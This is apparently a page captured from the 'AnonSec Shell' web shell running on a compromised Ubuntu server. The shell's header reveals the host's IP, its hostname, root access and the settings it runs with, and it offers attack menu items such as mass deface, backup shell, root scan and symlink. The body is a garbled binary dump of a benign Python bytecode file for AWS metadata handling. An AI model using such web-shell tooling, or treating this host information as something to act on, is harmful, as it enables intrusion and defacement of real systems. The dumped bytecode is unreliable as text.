AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/uaclient/clouds/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/uaclient/clouds/__pycache__/aws.cpython-310.pyc
o

F��c��@s�ddlZddlmZmZddlmZddlmZmZm	Z	ddl
mZdZdZ
ee
fZdZd	Zd
ZdZdZd
ZdZedZGdd�de�ZdS)�N)�Any�Dict)�	HTTPError)�
exceptions�system�util)�AutoAttachCloudInstancez169.254.169.254z[fd00:ec2::254]zhttp://{}/latest/api/tokenz0http://{}/latest/dynamic/instance-identity/pkcs7z/sys/hypervisor/uuidz /sys/class/dmi/id/product_serialz/sys/class/dmi/id/product_uuid�21600zX-aws-ec2-metadata-tokenz-ttl-secondsc@s�eZdZdZdZdd�Zeeje	gd�d�de
eeffdd���Z
d	d
�Zeje	gd�d�dd
��Zedefdd��Zedefdd��Zdefdd�Zdedefdd�ZdS)�UAAutoAttachAWSInstanceNcCs |��}tjt�|j�|dd�S)N�)�headers�timeout)�_request_imds_v2_token_headersr�readurl�IMDS_URL�format�_ip_address)�selfr�r�5/usr/lib/python3/dist-packages/uaclient/clouds/aws.py�_get_imds_url_responses�z.UAAutoAttachAWSInstance._get_imds_url_response)g�?rr)�retry_sleeps�returncCs|��\}}d|iS)N�pkcs7)r)r�response�_headersrrr�identity_doc%sz$UAAutoAttachAWSInstance.identity_doccCs�tD]=}z|j|d�}Wn/ty}z|�d}~wty;}zdj|t|dd�d�}t�|�WYd}~qd}~ww||_|jdurOt	�
dd�t���|S)N)�
ip_addressz8Could not reach AWS IMDS at http://{endpoint}: {reason}
�reason�)�endpointrz6No valid AWS IMDS endpoint discovered at addresses: %sz, )�IMDS_IP_ADDRESS�_get_imds_v2_token_headersr�	Exceptionr�getattr�logging�debugrr�UserFacingError�join)r�addressr�e�msgrrrr+s0�����	
��z6UAAutoAttachAWSInstance._request_imds_v2_token_headers)r��c
Cs�|jdkrdS|jrt|jiSztjt�|�dttidd�\}}Wnty=}z|j	dkr8d|_WYd}~dS�d}~ww||_t|jiS)N�IMDSv1�PUTr)�methodrr
i�)
�
_api_token�AWS_TOKEN_PUT_HEADERrr�IMDS_V2_TOKEN_URLr�AWS_TOKEN_REQ_HEADER�AWS_TOKEN_TTL_SECONDSr�code)rrrrr*rrrr"Cs(

�
��
z2UAAutoAttachAWSInstance._get_imds_v2_token_headerscC�dS)N�awsr�rrrr�
cloud_typeZ�z"UAAutoAttachAWSInstance.cloud_typecCs�zt�t�}d|dd�krWdSWn	tyYnwt�t���}t�t���}d|dd�kr=|dd�kr@dSdSdS)z$This machine is a viable AWSInstance�ec2r�TF)r�	load_file�SYS_HYPERVISOR_PRODUCT_UUID�FileNotFoundError�DMI_PRODUCT_UUID�lower�DMI_PRODUCT_SERIAL)r�hypervisor_uuid�dmi_uuid�
dmi_serialrrr�	is_viable^s
��"�z!UAAutoAttachAWSInstance.is_viablecCr7)�UnsupportedFrr9rrr�should_poll_for_pro_licensepr;z3UAAutoAttachAWSInstance.should_poll_for_pro_license�wait_for_changecCst���)N)r�InPlaceUpgradeNotSupportedError)rrJrrr�is_pro_license_presenttsz.UAAutoAttachAWSInstance.is_pro_license_present)�__name__�
__module__�__qualname__r1rr�propertyr�retryrr�strrrrr"r:�boolrGrIrLrrrrr
s 
r
)r%�typingrr�urllib.errorr�uaclientrrr�uaclient.cloudsr�IMDS_IPV4_ADDRESS�IMDS_IPV6_ADDRESSr!r3rr?rCrAr5r2r4r
rrrr�<module>s"

Anon7 - 2022
AnonSec Team